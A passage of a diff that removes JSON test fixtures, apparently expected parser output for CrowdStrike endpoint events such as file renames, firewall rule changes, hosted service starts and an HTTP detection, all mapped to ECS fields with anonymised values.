-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "ea08505420aa828a0a52a6eed3c8a196",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "process": {
-                "entity_id": "9011580900835",
-                "thread": {
-                    "id": 920000001740500
-                }
-            },
-            "related": {
-                "hash": [
-                    "9250777000"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "40820000",
-                "ContextProcessId": "50314320728270",
-                "ContextTimeStamp": "2025-09-18T10:27:03.574Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "36",
-                "EventOrigin": "3",
-                "TargetFileName": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP",
-                "TreeId": "407060334007",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "2d662aa35187373d94203d08fc2e4e7115c6",
-                "name": "f4407c8e4882cbdd"
-            },
-            "device": {
-                "id": "ca48acb776296fd7a6e35ee8c4bbde6d"
-            },
-            "event": {
-                "action": "FileRenameInfo",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "2d662aa35187373d94203d08fc2e4e7115c6|ca48acb776296fd7a6e35ee8c4bbde6d|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"FileRenameInfo\",\"ContextTimeStamp\":\"1758191223.574\",\"ConfigStateHash\":\"40820000\",\"ContextProcessId\":\"50314320728270\",\"SourceFileName\":\"\\\\6ba0bd\\\\539d13bb\\\\303abfe3\\\\64211dc1\\\\4feae\\\\49830210.WibuCmActDyn\",\"ContextThreadId\":\"794611930067120\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TreeId\":\"407060334007\",\"Entitlements\":\"36\",\"name\":\"f4407c8e4882cbdd\",\"EventOrigin\":\"3\",\"id\":\"2d662aa35187373d94203d08fc2e4e7115c6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ca48acb776296fd7a6e35ee8c4bbde6d\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\539d13bb\\\\303abfe3\\\\64211dc1\\\\4feae\\\\754cfa0e.TMP\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "Ext": {
-                    "original": {
-                        "name": "49830210.WibuCmActDyn",
-                        "path": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn"
-                    }
-                },
-                "directory": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae",
-                "extension": "TMP",
-                "name": "754cfa0e.TMP",
-                "path": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP",
-                "type": "file"
-            },
-            "host": {
-                "id": "ca48acb776296fd7a6e35ee8c4bbde6d",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FileRenameInfo",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "ca48acb776296fd7a6e35ee8c4bbde6d",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "50314320728270",
-                "thread": {
-                    "id": 794611930067120
-                }
-            },
-            "related": {
-                "hash": [
-                    "40820000"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "710307050",
-                "ContextProcessId": "1000790287600",
-                "ContextTimeStamp": "2025-10-29T06:28:27.584Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "FileSystemOperationType": "3",
-                "FsOperationClassification": "67",
-                "FsOperationClassificationFlags": "1",
-                "PatternId": "24871",
-                "TemplateDisposition": "40",
-                "TemplateInstanceId": "57521",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "ad8c2e5d31cff1e8cdc3892a874ba4927d1a",
-                "name": "b22ddf4c03b1a8b30f84e33786dd87b"
-            },
-            "device": {
-                "id": "ca2eedaa43a7333759deb5a0191c5313"
-            },
-            "event": {
-                "action": "FileSystemOperationDetectInfo",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "ad8c2e5d31cff1e8cdc3892a874ba4927d1a|ca2eedaa43a7333759deb5a0191c5313|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"FileSystemOperationDetectInfo\",\"ContextTimeStamp\":\"1761719307.584\",\"ConfigStateHash\":\"710307050\",\"TemplateDisposition\":\"40\",\"ContextProcessId\":\"1000790287600\",\"FileSystemOperationType\":\"3\",\"TemplateInstanceId\":\"57521\",\"aip\":\"216.160.83.56\",\"FsOperationClassification\":\"67\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"6725e7\",\"FsOperationClassificationFlags\":\"1\",\"PatternId\":\"24871\",\"ImageFileName\":\"6725e7\",\"Entitlements\":\"66\",\"name\":\"b22ddf4c03b1a8b30f84e33786dd87b\",\"EventOrigin\":\"1\",\"id\":\"ad8c2e5d31cff1e8cdc3892a874ba4927d1a\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ca2eedaa43a7333759deb5a0191c5313\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\71e36eee\\\\ce423a9b\\\\a5e333\\\\3ec061.sst\"}",
-                "outcome": "unknown",
-                "type": [
-                    "change",
-                    "deletion"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333",
-                "extension": "sst",
-                "name": "3ec061.sst",
-                "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst",
-                "type": "file"
-            },
-            "host": {
-                "id": "ca2eedaa43a7333759deb5a0191c5313",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FileSystemOperationDetectInfo",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "ca2eedaa43a7333759deb5a0191c5313",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "6725e7"
-                ],
-                "args_count": 1,
-                "command_line": "6725e7",
-                "entity_id": "1000790287600",
-                "executable": "6725e7",
-                "name": "6725e7"
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "900805208",
-                "ContextProcessId": "3001999016003",
-                "ContextTimeStamp": "2025-08-10T18:33:45.482Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "36",
-                "EventOrigin": "45",
-                "FirewallOption": "78415d0f02a966",
-                "FirewallOptionNumericValue": "1",
-                "FirewallProfile": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "ee4fea12623693e1e2aaf450974ca9068925",
-                "name": "bd2f52430b3a6e28fa81dc"
-            },
-            "device": {
-                "id": "ee24e7d1ac6add25f7a7969844ad0df3"
-            },
-            "event": {
-                "action": "FirewallChangeOption",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "ee4fea12623693e1e2aaf450974ca9068925|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"FirewallChangeOption\",\"ContextTimeStamp\":\"1754850825.482\",\"ConfigStateHash\":\"900805208\",\"FirewallProfile\":\"1\",\"ContextProcessId\":\"3001999016003\",\"aip\":\"89.160.20.128\",\"FirewallOption\":\"78415d0f02a966\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"36\",\"name\":\"bd2f52430b3a6e28fa81dc\",\"EventOrigin\":\"45\",\"id\":\"ee4fea12623693e1e2aaf450974ca9068925\",\"FirewallOptionNumericValue\":\"1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ee24e7d1ac6add25f7a7969844ad0df3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FirewallChangeOption",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3001999016003"
-            },
-            "related": {
-                "hash": [
-                    "900805208"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "900805208",
-                "ContextProcessId": "2001999016003",
-                "ContextTimeStamp": "2025-05-19T05:55:38.862Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "45",
-                "FirewallRuleId": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "4ee907bd437184018039dbce46b3b7fb9586",
-                "name": "73c6cc568a65a7c085e0"
-            },
-            "device": {
-                "id": "ee24e7d1ac6add25f7a7969844ad0df3"
-            },
-            "event": {
-                "action": "FirewallDeleteRule",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "4ee907bd437184018039dbce46b3b7fb9586|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"FirewallDeleteRule\",\"ContextTimeStamp\":\"1747634138.862\",\"ConfigStateHash\":\"900805208\",\"ContextProcessId\":\"2001999016003\",\"aip\":\"89.160.20.112\",\"FirewallRuleId\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"96\",\"name\":\"73c6cc568a65a7c085e0\",\"EventOrigin\":\"45\",\"id\":\"4ee907bd437184018039dbce46b3b7fb9586\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ee24e7d1ac6add25f7a7969844ad0df3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FirewallDeleteRule",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "2001999016003"
-            },
-            "related": {
-                "hash": [
-                    "900805208"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "900805208",
-                "ContextProcessId": "1001999016003",
-                "ContextTimeStamp": "2025-07-03T15:07:18.829Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "26",
-                "EventOrigin": "45",
-                "FirewallRule": "fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|",
-                "FirewallRuleId": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "b03302898ff47ac683fe0c4e7679c48615d2",
-                "name": "e6fc8b7f15db47d1f"
-            },
-            "device": {
-                "id": "ee24e7d1ac6add25f7a7969844ad0df3"
-            },
-            "event": {
-                "action": "FirewallSetRule",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "b03302898ff47ac683fe0c4e7679c48615d2|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"FirewallSetRule\",\"ContextTimeStamp\":\"1751555238.829\",\"ConfigStateHash\":\"900805208\",\"ContextProcessId\":\"1001999016003\",\"aip\":\"81.2.69.144\",\"FirewallRuleId\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"26\",\"name\":\"e6fc8b7f15db47d1f\",\"EventOrigin\":\"45\",\"id\":\"b03302898ff47ac683fe0c4e7679c48615d2\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"FirewallRule\":\"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\8027a4f5\\\\97cf27ba\\\\bc713e9c\\\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ee24e7d1ac6add25f7a7969844ad0df3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FirewallSetRule",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "1001999016003"
-            },
-            "related": {
-                "hash": [
-                    "900805208"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "8080600092",
-                "ContextProcessId": "7127089080000",
-                "ContextTimeStamp": "2025-06-13T12:46:39.590Z",
-                "DesiredAccess": "3900073",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "1",
-                "FileAttributes": "0",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FltCallbackData": "20591370484490000796",
-                "FltCompletionContext": "53130800032000003010",
-                "FltRelatedObjects": "32460687653001750097",
-                "HandleCreateAuthenticationId": "830",
-                "Information": "1",
-                "IrpFlags": "2500",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "Options": "94007005",
-                "ShareAccess": "5",
-                "SourceEventUniqueId": "903600070008873043",
-                "Status": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "92f7671f25cc7e1d6c1c2c3958b4a65c9c49",
-                "name": "c7a00dc61cb10ab411c95598"
-            },
-            "device": {
-                "id": "d3a1c99f621d3d6474555746950ce9b6"
-            },
-            "event": {
-                "action": "FsPostOpenSnapshotFile",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "92f7671f25cc7e1d6c1c2c3958b4a65c9c49|d3a1c99f621d3d6474555746950ce9b6|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"Options\":\"94007005\",\"ContextThreadId\":\"50000395917240\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"Information\":\"1\",\"FileIdentifier\":\"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306\",\"FltRelatedObjects\":\"32460687653001750097\",\"event_platform\":\"Win\",\"ShareAccess\":\"5\",\"EventOrigin\":\"1\",\"FltCompletionContext\":\"53130800032000003010\",\"id\":\"92f7671f25cc7e1d6c1c2c3958b4a65c9c49\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"FsPostOpenSnapshotFile\",\"ContextTimeStamp\":\"1749818799.590\",\"ConfigStateHash\":\"8080600092\",\"ContextProcessId\":\"7127089080000\",\"IrpFlags\":\"2500\",\"HandleCreateAuthenticationId\":\"830\",\"FltCallbackData\":\"20591370484490000796\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"3900073\",\"SourceEventUniqueId\":\"903600070008873043\",\"Entitlements\":\"96\",\"name\":\"c7a00dc61cb10ab411c95598\",\"OperationFlags\":\"0\",\"aid\":\"d3a1c99f621d3d6474555746950ce9b6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\da2d906a\\\\d598026\\\\dc9ec376\\\\b79606\\\\be8\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606",
-                "inode": "8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306",
-                "name": "be8",
-                "path": "\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8",
-                "type": "file"
-            },
-            "host": {
-                "id": "d3a1c99f621d3d6474555746950ce9b6",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FsPostOpenSnapshotFile",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "d3a1c99f621d3d6474555746950ce9b6",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "7127089080000",
-                "thread": {
-                    "id": 50000395917240
-                }
-            },
-            "related": {
-                "hash": [
-                    "8080600092"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "903030080",
-                "ConfigStateHash": "3440491101",
-                "ContextTimeStamp": "2025-07-25T04:01:01.221Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "76",
-                "EventOrigin": "45",
-                "InterfaceGuid": "d1c8f153a6a851a17b18fe88f1dbdc9254bf",
-                "InterfaceVersion": "0",
-                "RpcClientProcessId": "9757071607353",
-                "RpcClientThreadId": "415000840610900",
-                "RpcNestingLevel": "1",
-                "RpcOpNum": "60",
-                "TargetThreadId": "482081070860200",
-                "TokenType": "2",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "c7017a5199f1e88eb4a44227da2d1a7c8b0d",
-                "name": "10e85fd7df0a53c38814f5"
-            },
-            "device": {
-                "id": "22924ad875ce834067bd29857dc11a92"
-            },
-            "event": {
-                "action": "HostedServiceStarted",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "c7017a5199f1e88eb4a44227da2d1a7c8b0d|22924ad875ce834067bd29857dc11a92|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"d1c8f153a6a851a17b18fe88f1dbdc9254bf\",\"RpcClientProcessId\":\"9757071607353\",\"id\":\"c7017a5199f1e88eb4a44227da2d1a7c8b0d\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"HostedServiceStarted\",\"TargetThreadId\":\"482081070860200\",\"ContextTimeStamp\":\"1753416061.221\",\"UserName\":\"f3c32fdf5aef1041\",\"ConfigStateHash\":\"3440491101\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"415000840610900\",\"AuthenticationId\":\"903030080\",\"ServiceDisplayName\":\"8a7cb45\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"6009006000008\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\8a7cb45.dll\",\"RpcOpNum\":\"60\",\"Entitlements\":\"76\",\"name\":\"10e85fd7df0a53c38814f5\",\"aid\":\"22924ad875ce834067bd29857dc11a92\",\"RpcNestingLevel\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "22924ad875ce834067bd29857dc11a92",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "HostedServiceStarted",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "22924ad875ce834067bd29857dc11a92",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "6009006000008",
-                "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll",
-                "name": "8a7cb45.dll",
-                "title": "8a7cb45"
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "f3c32fdf5aef1041"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "f3c32fdf5aef1041"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3440491101",
-                "ContextTimeStamp": "2025-09-18T01:35:57.606Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "TargetThreadId": "51930000290120",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "db2dfa574e4ca1c775249f4fae390c93c57f",
-                "name": "c503d72ad653c0dc87f730"
-            },
-            "device": {
-                "id": "0400bce96c16b71f27978572adb3d4fd"
-            },
-            "event": {
-                "action": "HostedServiceStopped",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "db2dfa574e4ca1c775249f4fae390c93c57f|0400bce96c16b71f27978572adb3d4fd|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"HostedServiceStopped\",\"TargetThreadId\":\"51930000290120\",\"ContextTimeStamp\":\"1758159357.606\",\"ConfigStateHash\":\"3440491101\",\"aip\":\"89.160.20.112\",\"ServiceDisplayName\":\"61b6fb\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"2762512126120\",\"Entitlements\":\"66\",\"name\":\"c503d72ad653c0dc87f730\",\"EventOrigin\":\"1\",\"id\":\"db2dfa574e4ca1c775249f4fae390c93c57f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"0400bce96c16b71f27978572adb3d4fd\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "0400bce96c16b71f27978572adb3d4fd",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "HostedServiceStopped",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "0400bce96c16b71f27978572adb3d4fd",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "2762512126120",
-                "title": "61b6fb"
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "9382309105",
-                "ContextProcessId": "4064545006008",
-                "ContextTimeStamp": "2025-08-02T09:35:00.344Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "36",
-                "EventOrigin": "1",
-                "HttpInternalSource": "2",
-                "HttpMethod": "1",
-                "HttpRequestHeader": "94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b",
-                "HttpUrl": "08cf20/7773b6bd.com/394e821c.html",
-                "ParentCommandLine": "82\\ab7e5c1\\c39d646f.EXE",
-                "PatternId": "28450",
-                "TemplateInstanceId": "5008",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "5c80fd2a838414022b2f083219c6395b3c6a",
-                "name": "8d879a136063d7587c6"
-            },
-            "device": {
-                "id": "561ee5011fb41796a5d3d22ecc19d681"
-            },
-            "event": {
-                "action": "HttpRequestDetect",
-                "category": [
-                    "network",
-                    "session"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "5c80fd2a838414022b2f083219c6395b3c6a|561ee5011fb41796a5d3d22ecc19d681|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
